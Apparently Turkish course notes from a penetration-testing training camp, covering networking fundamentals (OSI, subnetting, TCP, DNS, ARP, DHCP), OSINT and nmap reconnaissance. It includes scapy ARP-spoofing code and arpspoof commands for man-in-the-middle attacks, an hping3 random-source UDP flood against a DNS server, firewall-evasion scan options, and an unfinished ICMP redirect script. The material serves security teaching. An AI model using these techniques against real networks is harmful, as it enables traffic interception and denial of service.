Kamp içeriği olarak Ağ Yönetimi konusuna giriş yapıldıktan sonra varsayılan ayarlardan kaynaklanan güvenlik zafiyetleri anlatılacak ve bununla birlikte savunma bakış açısı güçlendirilebilecektir.

Güvenlik konusunda danışmanlar ve saldırganlar arasındaki benzerlik ve farklılıklardan bahsederek kampa başladık. Saldırganlar motivasyon ve zaman açısından, güvenlik danışmanlarına göre daha şanslıdırlar. Danışmanların belirli bir çalışma aralığı olmasına rağmen saldırganların motivasyon kaynağına göre bu zaman kavramı genişleyebilir. Ayrıca danışmanlar firma tarafında çalışan sistemlerin kararlılığının bozulmaması amacıyla firma tarafından bazı sistemlerin erişimine izin verilmeyebilir. Saldırganlar ise bu konuda daha çok esnektir ve sistemin kararlılığını korumak gibi bir amaçları olmadığından ciddi hasarlar verebilirler. Zafiyet bulunduktan sonra danışmanlar sömürüyü gerçekleştirirken bunu ispatlamak için yaparken, saldırganlar sistemin içerisinde istedikleri bilgiyi elde etmek için kendi amaçları doğrultusunda kullanırlar. Saldırganların sistemden izini silmek ve daha sonra tekrardan erişebilmek için arka kapı bırakırlar fakat güvenlik danışmanlarının böyle bir amacı yoktur.

Hacking: Bir sistemi çalışması planlanan şekli dışında kullanmak.

Ethical Hacking: Sistemlere sızmak için saldırganlar tarafından kullanılan yöntemlerin kurumların güvenlik seviyesini arttırmak amacıyla, siber tehditlere ve veri sızıntılarına karşı test edilmesi ve daha etkili savunma yöntemlerinin geliştirilmesini savunan felsefedir.

Risk: Tehdit ve zafiyetin kesiştiği nokta.

Total Risk Analizi: Sistemde ki bir zafiyetin ne kadar risk oluşturabileceğini raporlayıp analiz etmektir.

Zafiyet: Bir sistemin olağan davranışını bozmasına sebep olan nokta.

[!] Sadece zafiyet taraması veya Bug Bounty yapılarak total risk analizi yapılamaz.

Sömürü (exploitation): Zafiyeti veya zafiyetleri kullanarak sistemde yer edinme işlemi.

Post Explotation Sömürü gerçekleştirildikten sonra bilgi toplama ve başka sistemlere geçme aşamasına verilen isim.

Payload: Exploit ile sistemde yer edindikten sonra çalıştırılmak istenen kod parçası.

Penetration Test: Hacking işleminin teknik aşamalarını kapsayan sürece verilen genel adıdır.

Vulnerability/Security Assessment: Bir sistemdeki muhtemel tüm açıkların belirlenmesine yönelik tasarlanmış bir testtir. Sızma testinin bir aşamasıdır.

Güvenlik denetimi: Güvenlik araştırmacıları için total riski raporlamakken saldırganların bunu kendi lehine kullanması amacıyla yaptıkları denetimdir.

[!] Zafiyet bulunduktan sonra güvenlik danışmanlarının zafiyeti düzeltmek gibi bir amacı yoktur.

[!] Sızma testi raporlarında zafiyetten bahsedilir ama asıl amaç zafiyetlerin raporlanıp verilmesi değil olası senaryolarla firmayı bilgilendirmektir.

Risk analizi disiplini: Birimlerin ayrı ayrı güvenliğinin incelenmesi olarak tanımlandırılabilir. Sadece kale kapısını tutmak değil içerideki kapıları da sağlamlaştırmak buna örnek olarak verilebilir.

Bazı firmalar güvenlik açığının bildirilmesi üzerine zafiyeti düzeltmemeyi seçebilirler çünkü zafiyeti düzeltmek firmalar için daha masraflı olabilir. Bu durumda danışmanlar zafiyeti puanlayarak bir bilgilendirme yapar. Yani danışmanlar her zaman zafiyeti düzeltme amacı gütmez. Zafiyetin ne kadar büyük bir risk oluşturabileceğini raporlar.

Güvenlik denetimlerinin standartlarının olması, ihtiyaçların giderilmesi ve güvenlik danışmanlarının kaybolmaması için metodolojilere ihtiyaç vardır. Bazı kurumlar kendi standartlarını yayınlar.

  • OWAP: Web App Security
  • NIST: National Institute of Standards and Technology.
  • OSSTMM: Yukarıdaki firmalara göre daha kapsamlıdır.

Karşı tarafın izni olmaması durumunda yapılan herhangi bir zafiyet taraması suç teşkil etmektedir. Tesadüfen bulunan bir zafiyet var ise bunu bildirmek herhangi bir suç teşkil etmemektedir. Kurumlar bu konuda eskiye göre daha çok anlayışlı davranmaktadırlar. Profesyonel olarak test yapılacağı zaman gizlilik anlaşması yapılır. Bu anlaşmanın içinde ilgili firmadan alınan bilgilerin ne kadarının yayınlanabileceği ve yapılacak işlemler belirtilerek sözleşme imzalanır. Daha sonrasında bu testler gerçekleştirilerek ortaya bir rapor konur. Bu çoğunlukla hard-copy bile olmaz hatta tek bir pdf dosyası bile olabilir.

Sızma Testleri - Genel Prosedür:

  • Hazırlık Aşaması
    • NDA imzalanması (Gizlilik anlaşması)
    • Test içeriğinin belirlenmesi
    • Güvenlik Sözleşmesinin İmzalanması
    • Sızma Testi Takımının Belirlenmesi
  • Güvenlik Testinin Gerçekleştirimesi
  • Sonuçların Alınması ve Raporlanması

Sızma Testi Kapsamları:

  • Public Ip Adresi Aralıkları
  • Özel Uygulamalar
  • Özel Alan Adları ve Subdomainler

Güvenlik Denetim Türleri:

  • Network Testleri
  • İstemci Testleri
  • Cloud(Bulut) Testleri
  • Web Uygulama Testleri
  • Kablosuz Ağ Testleri
  • Sosyal Mühendislik Testleri
  • Mobil Uygulama Testleri
  • Tersine Mühendislik
  • Sosyal Mühendislik veya Servis dışı bırakma (Ddos) testleri
  • Gömülü Sistem Testleri

[!] Çok nadir olmakla birlikte fiziksel olarakta test yapılabilir. Mesela boş bir bilgisayara erişim sağlamak, kameralara yakalanmadan yasak yerlere girebilmek bu test için örnek verilebilir.

OSI Katmanları

Subnet (Alt Ağ)

TCP/IP Protokol Kümesi

TCP/UDP

ICMPv4

ARP

DNS

DHCP

OSI Katmanları

* Katmanlar
1 Fiziksel
2 Data
3 Network
4 Taşıma
5 Oturum
6 Sunum
7 Uygulama

[!] Yukarıdaki katmanların amacı sistemdeki her katmanın birbirlerinden etkilenmeden kendi içlerinde değişiklik uygulanılabilmesidir.

1) Fiziksel Katman : BitStream(0-1). Fiber, Bakır tel gibi fiziksel aktarım yöntemleri kullanılan katmandır.

2) Data Katmanı : Bu katmanda fiziksel ağ donanımının adresi kullanılır MAC . Ethernet varsa ARP(Adress Resoluiton Protocol) örnek verilebilir. ARP ve RARP sorgularıyla MAC veya IP adresi bilinen bir makinanın diğer bilgisi öğrenilebilir.

MAC Adresi, Bir ağdaki cihazı tanımlanmasını sağlayan fiziksel ağ kartının üzerindeki adresi belirtir. Bu adres 6 oktetten oluşur (00:00:00:00:00:00-FF:FF:FF:FF:FF:FF). MAC adresinin ilk 3 okteti cihazı üreten firmayı, son 3 oktet ise her kart için benzersizdir.

IP --ARP--> MAC

MAC --RARP--> IP

ARP tablosunda iletişim kurulmak istenen makinanın mac adresi yoksa, icmp requesti (ping), iletişim kurulmak istenen sistemin ip adresine gönderilerek karşılıklı olarak arp tablolarını güncelleyebiliriz.

ARP tablosunu kontrol etmek için terminalde: Linux sistemlerde “arp -an”, Windows sistemlerde “arp -a” yazılarak tablo gösterilebilir. ARP tablosundan girdi silmek için her iki sistemde de aynı “arp -d” komutu kullanılabilir.

MAC adresinin kullanıldığı protokollere aşağıdakiler örnek olarak verilebilir.

  • Ethernet
  • Token ring
  • Wi-fi
  • Bluetooth
  • FDDI
  • SCSI

3) Network Katman : TCP/IPv4 veya TCP/IPv6 ile adreslerin oluşturulup makinalara tanımlandığı katman.

IPv4 32bitlik adresleme yapabilir. 2^32 den 4294967296 adres üretilebilir ama bunu daha kolay şekilde okuyabilmek için 32 bit 4’erli gruplar halinde 0-255 arasında ifade edilir.

0.0.0.0 <--> Localhost

255.255.255.255 <--> Broadcast (Yayın Adresi)

4) Taşıma Katman : İletişim protokolleri TCP veya UDP kullanılır. TCP outurum kontrolü yaparken, UDP herhangi bir iletişim veya paket bütünlüğü kontrolü yapmaz. UDP bu yüzden TCP’den daha hızlıdır.

5) Oturum Katman : Servislerin birbirleriyle iletişimini sağlayan katman. (SSH/RDP/SMB)

6) Sunum Katman : Paketi uygun hale getirir. Çeşitli format değişimleri burada yapılır. (PNG--base64-->ascii, SSL,TLS)

7) Uygulama Katman : Firefox, FTP, SMTP, HTTP

Subnet (Alt Ağ)

IP Havuz aralığı içerisinde ihtiyaç kadar ip adresi tanımlamak için kullanılır.

192.168.48.130

11000000.10101000.00111000.100|00010

11111111.11111111.11111111.111|00010

255.255.255.224

11111111.11111111.11111111.111|00000 (Alt Ağ Adresi)

11111111.11111111.11111111.111|11111 (Alt Ağ Yayın Adresi)

Dünya çapıında bu ip bloklarının yönetimini IANA (Internet Assigned Numbers Authority) yapar. Zamanla ip adresi yetmemeye başladığından NAT(Network Address Translation) ortaya çıkmıştır. Bunun yapılabilmesi için tek gereken şey internet ile alt ağlar arasında adres dönüşümü gerçekleştirilmesidir.

10.0.0.0/8 A <--> Yaklaşık olarak 16 milyar ip adreslenebilir. [ 2^(32-8) ]

172.16.0.0./12 <--> Yaklaşık olarak 1 milyar ip adreslenebilir. [ 2^(32-12) ]

192.168.0.0/16 <--> Yaklaşık olarak 65 bin ip adreslenebilir. [ 2^(32-16) ]

127.0.0.0/8 <--> Localhost. LoopBack (lo) kendi makine içerisindeki ağ.

224.0.0.0/4 D <--> MultiCast. Her ip adresine teker teker göndermek yerine. Herkese broadcast yapar gibi paketleri göndermek için ayrılmış ip bloğudur.

100.100.0.0/16 <--> Şu anda boşta olan ip bloğudur.

240.0.0.0/4 E <--> Bilimsel testler için ayrılmış ip bloğudur.

169.254.0.0/16 APIPA <--> DHCP serveri olmadığı zaman bu ip bloğundan rastgele ip alır.

[!] Yukarideki ip adresleri dışında private ip olarak başka bir bloğun kullanılması durumunda internet üzerinde o ip bloğundaki sunuculara uzaktan erişilmek istendiği zaman paket private ağ içerisinde gezeceği için kullanıcı kendi ağı dışarısındaki sunucuya ulaşamayacaktır.

TCP/IP Protokol Kümesi

[!] OSI katmanı referans olarak alındığı için birebir olarak günümüzde kullanılmaz.

Cihaz veya Uygulamlar Paketin İsmi TCP/IP OSI Katmanı
SSL Application
VPN ------------
Application Firewall Data Applicaiton Presentation
DLP ------------
Session
---------------------- ----------------- --------------- ------------
Firewall, Load Balancer Segment/Datagram Transport Transport
---------------------- ----------------- --------------- ------------
Router Packet İnternet Network
---------------------- ----------------- --------------- -------------
Switch Frame Data Link
RJ45 ----------------- Network Access ------------
Cat5 BitStream Physical

TCP/UDP

TCP: Bir makinayla iletişime geçmek istendiğinde diğer makina geri dönüş yaparak iletişimi onaylar ve iletişim sürekli birbirlerinin paket onaylarını bekleyerek devam eder. Bunun faydası ise herhangi bir kayıp olmadan verinin karşı tarafa iletilmesini sağlayabilmesidir. Bağlantı kurulurken ve koparilirken de bu üçlü el sıkışma yapılır.

UDP: Paket hedef makinaya gönderilir ama herhangi bir onay sistemi olmadığı için paketin gidip gitmediği tam olarak bilinemez. Gelmeyen paketlerde uygulama bunu kontrol etmek zorundadır. UDP’nin paket bütünlüğüyle ilgili herhangi bir kontrol mekanizması yoktur.

Üçlü El Sıkışma (3 Way HandShake)

-----SYN--->

<--SYN-ACK--

----ACK---->

----FIN---->

<-FIN-ACK---

----ACK---->


TCP HEADER

tcp-header

Source Port: Kaynak makinanın Portu

Destination Port: Hedef makinanın Portu

Sequence Number: Senkronize Numarası

Acknowledgement Number: En son alınan senkron paketinin bir fazlası

Hlen: TCP başlık kısmının uzunluğı

  • Flags
    • URG: Acil Biti
    • ACK: Acknowledge Biti
    • PSH: Push Biti
    • RST: Reset Biti
    • SYN: Senkron Biti
    • FIN: Bitiirme Biti

Windows: Alıcının kaç paketi birden istediği bilgisi

Checksum: Paketin bütünlüğünü doğrular.

Urgent Pointer: URG biti işaretlendiyse kullanılır.


IP HEADER

ip-header

Version: IPv4 veya IPv6

Length: Paketin uzunluğu

Type of Service: Servis tipini belirtir Routerlar buna göre öncelik ataması yaparlar

Total Length: Paketin toplam uzunluğu

Identifier: Her paketin numarası

Flag: Paketin parçalanıp parçalanmayacağı bilgisi

Fragmented Offset: Parçalanmış paketlerin sıra numarası

Time to Live: Paketin yaşam süresi

Protocol: TCP ya da UDP hangi alt katmanlı paket içerdeiğini gösterir

Header Checksum: Doğrulamayı barındırır

Source IP: Kaynak ip

Destination IP: Hedef ip


Scapy 3way-Handshake

$ iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP # RST Sinyalini engellemek için
$ nc -lvp 80 # Başka bir terminalden
$ scapy
>>> conf.L3socket=L3RawSocket
>>> ip = IP(src="127.0.0.1",dst="127.0.0.2")
>>> SYN = TCP(sport=1234,dport=80,flags="S")
>>> veri = "Merhaba\n"
>>> sr1(ip/SYN)
Begin emission:
.*Finished sending 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x3cc9 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP  sport=www_http dport=search_agent seq=2957853120 ack=1 dataofs=6 reserved=0 flags=SA window=43690 chksum=0xfe21 urgptr=0 options=[('MSS', 65495)] |>>
>>> ACK = TCP(sport=1234,dport=80,flags="A",seq=1,ack=2957853121)
>>> sr1(ip/ACK/veri)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=40 id=26505 flags=DF frag=0 ttl=64 proto=tcp chksum=0xd543 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP  sport=www_http dport=search_agent seq=2957853121 ack=9 dataofs=5 reserved=0 flags=A window=43690 chksum=0xfe1d urgptr=0 |>>
>>> FINACK = TCP(sport=1234,dport=80,flags="FA",seq=9,ack=2957853121)
>>> sr1(ip/FINACK)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=40 id=26506 flags=DF frag=0 ttl=64 proto=tcp chksum=0xd542 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP  sport=www_http dport=search_agent seq=2957853121 ack=10 dataofs=5 reserved=0 flags=FA window=43690 chksum=0xfe1d urgptr=0 |>>
>>> ACK = TCP(sport=1234,dport=80,flags="A",seq=10,ack=2957853121)
>>> sr1(ip/ACK)
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=40 id=22525 flags=DF frag=0 ttl=64 proto=tcp chksum=0xe4cf src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP  sport=www_http dport=search_agent seq=2957853121 ack=0 dataofs=5 reserved=0 flags=R window=0 chksum=0xbaac urgptr=0 |>>

tcp-scapy-3way-handshake


PORT DURUMLARI

TCP

TCP/Port Açık Kapalı Cevap Gelmezse
SYN SYN+ACK RST Firewall olabilir
ACK RST RST Makina Yok
FIN RST RST Bağlantı Problemi
URG RST RST Servis Dışı Kalma
RST X X

UDP

UDP/Port Açık Kapalı Cevap Gelmezse
Cevap Gelirse ICMP(Port Unreach) Döner Açık/Firewall

DNS

Hostname: Makinaya verilen kimlik bilgisi.

Domain: Bir grup bilgisayarın oluşturduğu ağa verilen kimlik bilgisi.

Her makinada nameserver, dhcp veya elle atatanmış olduğu için oradaki domain sunucularına sorar (Recursive). TLD(TopLevelDomain)’e sorar o sunucuda .tr kaydı tutan sunuculara sordurur burdan org.tr domainlerini tutan sunucuya yönlendirir burdan da linux.org.tr sunucusunun ip adresini cachler ve bundan sonraki isteklerde bu yapılan işlem tekrardan gerçekleşmez.

DNS(Domain Name System) website adreslerini ip adreslerine çevirmek için kurulmuştur. 2003 yıllından sonra websitelerinin sayısı ip adreslerini geçmeye başlayacağı için tek bir makinada birden fazla site bulunmaya başlamıştır.

İşletim sistemi ilk olarak gelen DNS kaydını /etc/hosts veya /system32/drivers/etc/hosts dosyasına bakar varsa zaten direk ip adresini kullanır. Eğer herhangi bir kayıt yoksa, DHCP serverin bize atadığı nameserver olan 1.1.1.1 olan sunucuya dns protokolü üzerinden “linux.org.tr” domaninini sorar eğer onun üzerinde de bu kayıt yoksa. 1.1.1.1’de ki sunucu kaydı bilmese de *.tr kayıtlarını tutan nic.tr sunucusuna “linux.org.tr” sorar. En son linux.org.tr’nin geriye doğru sunuculara ip adresi eklenir ve 1.1.1.1 bize istediğimiz domainin ip adresini döndürür ve bizden biraz sonra 1.1.1.1’e linux.org.tr’yi sorarsa bu işlemler tekrardan yaşanmaz. Artık 1.1.1.1’in kendi içinde “linux.org.tr” kaydı olduğu için daha sonraki dns isteklerine cevap verebilir hale gelmiştir.

linux.org.tr içinde mail ve web siteleri olabileceği için DNS kayıt tipleri vardır:

A: Website kayıtları için.

MX: Mail atmak istenildiğinde sorulan DNS kaydıdır.

TXT: Text, validation için kullanılabilir.

CNAME: Yönlendirme yapmak istenildiği zaman kullanılır mesela admin.linux.org.tr domainini yonetim.linux.org.tr’ye linkleyebiliriz.

AAA: IPv6 kayıtları için.

$ nslookup
> server
Default server: X.X.X.X
Address: X.X.X.X#53
$ dig linux.org.tr
...
linux.org.tr.       2846    IN  A   139.179.179.3
...
$ dig MX linux.org.tr # MAIL Server
linux.org.tr.       7200    IN  MX  10 postaci.linux.org.tr.
$ nslookup postaci.linux.org.tr
...
Server:     192.168.42.129
Address:    192.168.42.129#53
...
$ dig NS linux.org.tr # DNS Serverleri
...
linux.org.tr.       7199    IN  NS  marmara.linux.org.tr.
linux.org.tr.       7199    IN  NS  trakya.linux.org.tr.
...
$ dig . ns # TopLevelDomain listesi
...
.                       94359   IN      NS      c.root-servers.net.
.                       94359   IN      NS      f.root-servers.net.
.                       94359   IN      NS      j.root-servers.net.
.                       94359   IN      NS      d.root-servers.net.
.                       94359   IN      NS      e.root-servers.net.
.                       94359   IN      NS      a.root-servers.net.
.                       94359   IN      NS      l.root-servers.net.
.                       94359   IN      NS      h.root-servers.net.
.                       94359   IN      NS      k.root-servers.net.
.                       94359   IN      NS      m.root-servers.net.
.                       94359   IN      NS      g.root-servers.net.
.                       94359   IN      NS      i.root-servers.net.
.                       94359   IN      NS      b.root-servers.net.
...
$ dig www.linux.org.tr a @a.root-servers.net
...
;; AUTHORITY SECTION:
tr.                     172800  IN      NS      ns21.nic.tr.
tr.                     172800  IN      NS      ns22.nic.tr.
tr.                     172800  IN      NS      ns31.nic.tr.
tr.                     172800  IN      NS      ns41.nic.tr.
tr.                     172800  IN      NS      ns42.nic.tr.
tr.                     172800  IN      NS      ns91.nic.tr.
tr.                     172800  IN      NS      ns92.nic.tr.
...
$ dig www.linux.org.tr a @ns21.nic.tr.
; <<>> DiG 9.10.3-P4-Debian <<>> www.linux.org.tr a @ns21.nic.tr.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32917
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.linux.org.tr.              IN      A

;; AUTHORITY SECTION:
linux.org.tr.           43200   IN      NS      marmara.linux.org.tr.
linux.org.tr.           43200   IN      NS      trakya.linux.org.tr.

$ dig www.linux.org.tr a @marmara.linux.org.tr

Bu sunucular recursive olmayan isteklere yanıt vermez.
'''

---

'''

$ dig www.tokgozoglu.net @52.178.110.255

; <<>> DiG 9.10.3-P4-Debian <<>> www.tokgozoglu.net @52.178.110.255
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14270
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.tokgozoglu.net.            IN      A

;; ANSWER SECTION:
www.tokgozoglu.net.     86400   IN      CNAME   tokgozoglu.net.
tokgozoglu.net.         86400   IN      A       52.178.110.255

;; AUTHORITY SECTION:
tokgozoglu.net.         86400   IN      NS      ns2.tokgozoglu.net.
tokgozoglu.net.         86400   IN      NS      ns1.tokgozoglu.net.

;; ADDITIONAL SECTION:
ns1.tokgozoglu.net.     86400   IN      A       52.178.110.255
ns2.tokgozoglu.net.     86400   IN      A       52.178.110.255

;; Query time: 8 msec
;; SERVER: 52.178.110.255#53(52.178.110.255)
;; WHEN: Mon Jul 23 11:22:12 +03 2018
;; MSG SIZE  rcvd: 145

$ dig www.tokgozoglu.net @8.8.8.8

; <<>> DiG 9.10.3-P4-Debian <<>> www.tokgozoglu.net @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15285
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;www.tokgozoglu.net.            IN      A

;; ANSWER SECTION:
www.tokgozoglu.net.     21599   IN      CNAME   tokgozoglu.net.
tokgozoglu.net.         21599   IN      A       188.166.45.9

[!] İlk sorguda 86400 iken google sunucusunda 21599 olmasının nedeni google’ın dns sunucusunun cacheinde bu domainin kaydının olmasıdır.

Scapy

$ scapy
>>> ip = IP(dst="192.168.42.129",version=4)
>>> ud = UDP(sport=61,dport=53)
>>> dn = DNS(rd=1,qd=DNSQR(qname="linux.org.tr"))
>>> send(ip/ud/dn)

[!] Wireshark üzerinden dönen dns sorgusu incelenebilir.

$ hping3 # Paket üretmek için kullanılabilir
$ hping3 --udp --destport 53 --rand-source <NSServer> --flood

ICMPv4

ICMP (Internet Control Message Protocol) Ağın sağlıklı bir şekilde çalıştığı, ulaşılabilirliği, hız testi veya kontrol amaçlı kullanılan protokoldür. Kendi içerisinde bulunnan Type-Code olmak üzere değiştirilebilen variyantları bulunmaktadır. Örnek olarak echo-reply 0-0 veya echo-request 8-0 verilebilir.

Daha fazla parametre için

ICMP type-code hakkında daha fazla örnek için;

[!] OSI katmanı teorik olduğu ve kurulumu tam olarak yapılamayacağı için TCP/IP modeli kullanılır


##Scapy

Scapy içerisinde paket oluşturmak için kullanılan bir kütüphanedir.

$ scapy
>>> icmpbaslik = ICMP(type=14,code=0)
>>> ipbaslik = IP(src="192.168.42.82",dst="192.168.42.57")
>>> paket = ipbaslik/icmpbaslik
>>> send(paket)
.
Sent 1 packets.

[!] Wireshark açıp ilgili network kartını dinleyerek gönderilen paketin yanıtını görebiliriz.

icmp-timestamp

ARP

Adres Çözümleme Protokolü (Address Resolution Protocol) ağ katmanı adreslerinin veri bağlantısı katmanı adreslerine (IP adreslerinin MAC adreslerine) çözümlenmesini sağlayan bir iletişim protokolüdür

[!] Daha önceden ekli olmayan mac adresinin ip adresi değiştirilemez

ARP tablosunda IP adresini değiştirmek için

(kurban) $ arp -an
? (192.168.42.40) at 08:00:27:54:f1:62 [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst="ea:0e:3d:8f:cc:e0",src="31:30:31:31:31:31")
>>> arpbaslik = ARP(op=2, hwsrc="31:30:31:31:31:31",psrc="192.168.42.30",pdst="192.168.42.57")
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface="enp0s8")
.
Sent 1 packets.
(kurban) $ arp -an
? (192.168.42.40) at 31:30:31:31:31:31 [ether] on enp0s16u2


ARP tablosuna IP eklemek için

(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst="ff:ff:ff:ff:ff:ff",src="08:00:27:54:f1:62")
>>> arpbaslik = ARP(op=1, hwsrc="08:00:27:54:f1:61",psrc="192.168.42.40",pdst="192.168.42.57")
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface="enp0s8")
.
Sent 1 packets.

(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
 ? (192.168.42.40) at 08:00:27:54:f1:61 [ether] on enp0s16u2

DHCP(Dynamic Host Configuration Protocol)

Dinamik olarak ağa katılan bilgisayarlara ip ataması yapan server. Broadcast yaparken UDP kullanır (TCP’de 3way-handshake olduğu için zaten ip adresi olması gerekir). DHCP, ip aralığı içinde olan bir adresi yeni gelen makinalara dağıtır. DHCP kira süresi ayarlanabilir olmakla birlikte belirli süreler içerisinde kira süresini tekrar yeniler. Kira süresi bittikten sonra yenilenmesi durumunda aynı ip adresini vermek gibi bir zorunluluk bulunmaz.

Scapy

DHCP isteğinde client 68. UDP portundan dinlerken DHCP server 68. UDP portundan cevap verir.

$ scapy
>>> eth = Ether(dst="ff:ff:ff:ff:ff:ff",src="aa:aa:aa:aa:aa:aa")
>>> ip  = IP(src="0.0.0.0",dst="255.255.255.255")
>>> ud  = UDP(sport=68,dport=67)
>>> bootp = BOOTP(chaddr="aa:aa:aa:aa:aa:aa", xid=100)
>>> dhcp = DHCP(options = [ ("message-type","request"),("server_id","192.168.42.254"),("requested_addr","192.168.42.254"),"end"])
>>> sendp(eth/ip/ud/bootp/dhcp)

  • Ön Toplantı
  • Bilgi Toplama
    • Aktif
    • Pasif
  • Zafiyet Tespiti
  • Zafiyet Sömürüsü
    • 0day
  • Post-Exploitation
  • Raporlama
  • Son Toplantı

OSINT

  • Seviye 1 : Otomatize araçlarla toplanıp sınır çizilir.
  • Seviye 2 : Kurum hakkında detaylı bilgi toplanır. (RED-TEAM)
  • Seviye 3 : Askeri, Devletler arası yapılır.

Bilgi Toplama:

  • Pasif : Normal kullanıcıdan fark edilemeyecek şekilde bilgi toplamak
  • Aktif : Hedefle doğrudan etkileşim halinde olunması (ServisTaraması, Fuzzing)

Sızma Testleri:

  • White : Kaynak kod analizi
  • Gray : Farklı seviyelerde kullanıcılar verilerek verilebilecek zarar hesaplanır
  • Black : Sistem hakkında herhangi bir şey bilinmez

Ağ Kapsam: Sistemin ağ kapsamı ne kadar geniş hangi ip adreslerine Otonom Sistem Numarası kullanarak hangi ip aralığına sahip olduğu araştırılır.

Ağ Mimarisi: Sunucular hakkında bilgiler toplanır.

Aracıların Kullanılması: İnternetten arama yapılabilir.

Çalışanlar: IT ekibi veya kaynak kod analizi yapılır.

İfşalar: İfşa olmuş daha önce hacklenilmiş bilgilerin araştırılması.

Unutulmuş Dosya ve Dizin: Sistemde hatırlanmayan bir sistemin veya bir dizinin unutulmuş olması araştırılır.

Subdomain/VirtualHost: Sistemin sahip olduğu alt alan adları araştırılır. Sunucuda başka sitelerin hizmetleride olabilir bunları araştırmak.


Ters Domain Sorgusu yapılabilecek Siteler

Topoloji Çıkarabilecek Bir Site

Mail Adresinden Domain Bulmak

Subnet, AS Otonom sistem numarası yakalanabilir.

$ whois -h whois.radb.net <ip>

$ whois -h whois.radb.net '!g<AS****>'

Google Dork

  • intext:
  • inurl:
  • site:
  • filetype:
  • inbody:
  • intitle:
  • -
  • “ “
  • numrange:

Bing Dork

  • ip:
  • domain:

Mail

DNS

  • fierce

    • Zone Transfer (axfr domain @ns)
  • dig axfr @ zonetransfer.me

  • dnsdumpster

  • Shodan

    • hostname:
    • country:
    • os:
    • net:

WAPPALYZER

Censys

Archive

IPv4Info

DNSTrails

Netcraft

TinyEye

Aktif Bilgi Tarama

  • Host Discovery
    • netdiscover -r >ipBLOĞU<
    • arp-scan -I eth0 -l
  • Network Discovery
    • nmap -sP >ipBLOĞU< #pingSweep
    • nmap -oX scan.xml # xsltproc xml -> html
  • Port Scanning
    • nmap -sS #SYN, -sT #TCP, -sA #ACK, -sF #FIN, -sU #UDP
    • nmap -p-, --top-ports
    • nmap -sI # Zombie Scan
    • nmap -f # FTP Scan
    • nmap -Pn --disable-arp-ping # Hiç bir Tarama Yapmaz
  • Banner Grabbing
    • nc, curl, telnet
  • Version Detection
    • nmap -sV # Version Scan
    • nmap -O # OS
  • Firewall Bypass
    • nmap -f -f
    • nmap --script=firewall-bypass
    • nmap -D RND:5
    • nmap --spoof-mac=IBM >ipBLOĞU<
  • Agressive Scan
    • nmap -A # Aggressive
    • nmap -T (0-5)
  • DNS Discovery
    • nslookup
    • dig ns , dig -x
    • fierce --dns
    • dnsrecon -d
  • Web Application Discovery
    • WP, Drupal, Joomla
    • wafw00f
  • Fuzzing
    • dirb
    • dirbuster
    • wfuzz
    • nikto
  • Internal
    • Internal Ranges
    • Directory Services
    • Enterprise Applications

MITM (Man In The Middle)

Bir ağ içerisindeki sistem kendi bağlantılarını başkası üzerinden geçiriyor ise arada kalan sistem akan trafiği inceleyebilir. Bunu yapmaktaki amaç arada akan trafiği incelemek veya farklı bir müdahalede bulunmak. Örnek olarak iki farklı yöntem vardır.

  • DHCP
  • ARP
  • Layer 3 (ICMP)
  • TCP

ARP

[!] Bunu yapabilmek için Arp Adresleriyle oynamak daha kolay olduğu için DHCP serverini indirmek yerine ARP konusunda yaptığımız gibi mac adreslerini değiştirmeliyiz.

echo 1 > /proc/sys/net/ipv4/ip_forward # Routing Özelliğini Açar
arpspoof -c both -t 1.1.1.1 -r 2.2.2.2 # Router ve Hedef Sistemin Arp Tablosunu Zehirler

Veya scapy kullanmak istersek.

ethBaslik = Ether(dst="00:0c:29:fe:7b:ea",src="00:0c:29:14:3c:c9")
ARPBaslik = ARP(op=1, hwsrc="00:0c:29:fe:7b:ea",psrc="1.1.1.1",pdst="2.2.2.2")
sendp(ethBaslik/ARPBaslik)

ICMP

ICMP Redirect paketi kullanarak trafiğin akışı değiştirilebilir.

Kurban sisteme icmp redirect paketi kaynak olarak router gösterilerek router olarak kendi adresimizi gönderirsek eğer giden paketleri yakalayabiliriz. Buradaki sıkıntı paketin içinde source kısmı kurban sistem olduğu için router gelen paketi saldırgana göndermez. Gelen paketi yakalayabilmek için TCP paketi içerisindeki source kısmını kurban ip yerine saldırganın ip adresini yapılmalı ki router gelen cevabı saldırgana gönderebilsin.

#!/bin/python2.7
from scapy.all import *

originalRouterIP=''
attackerIP=''
victimIP=''
serverIP=''

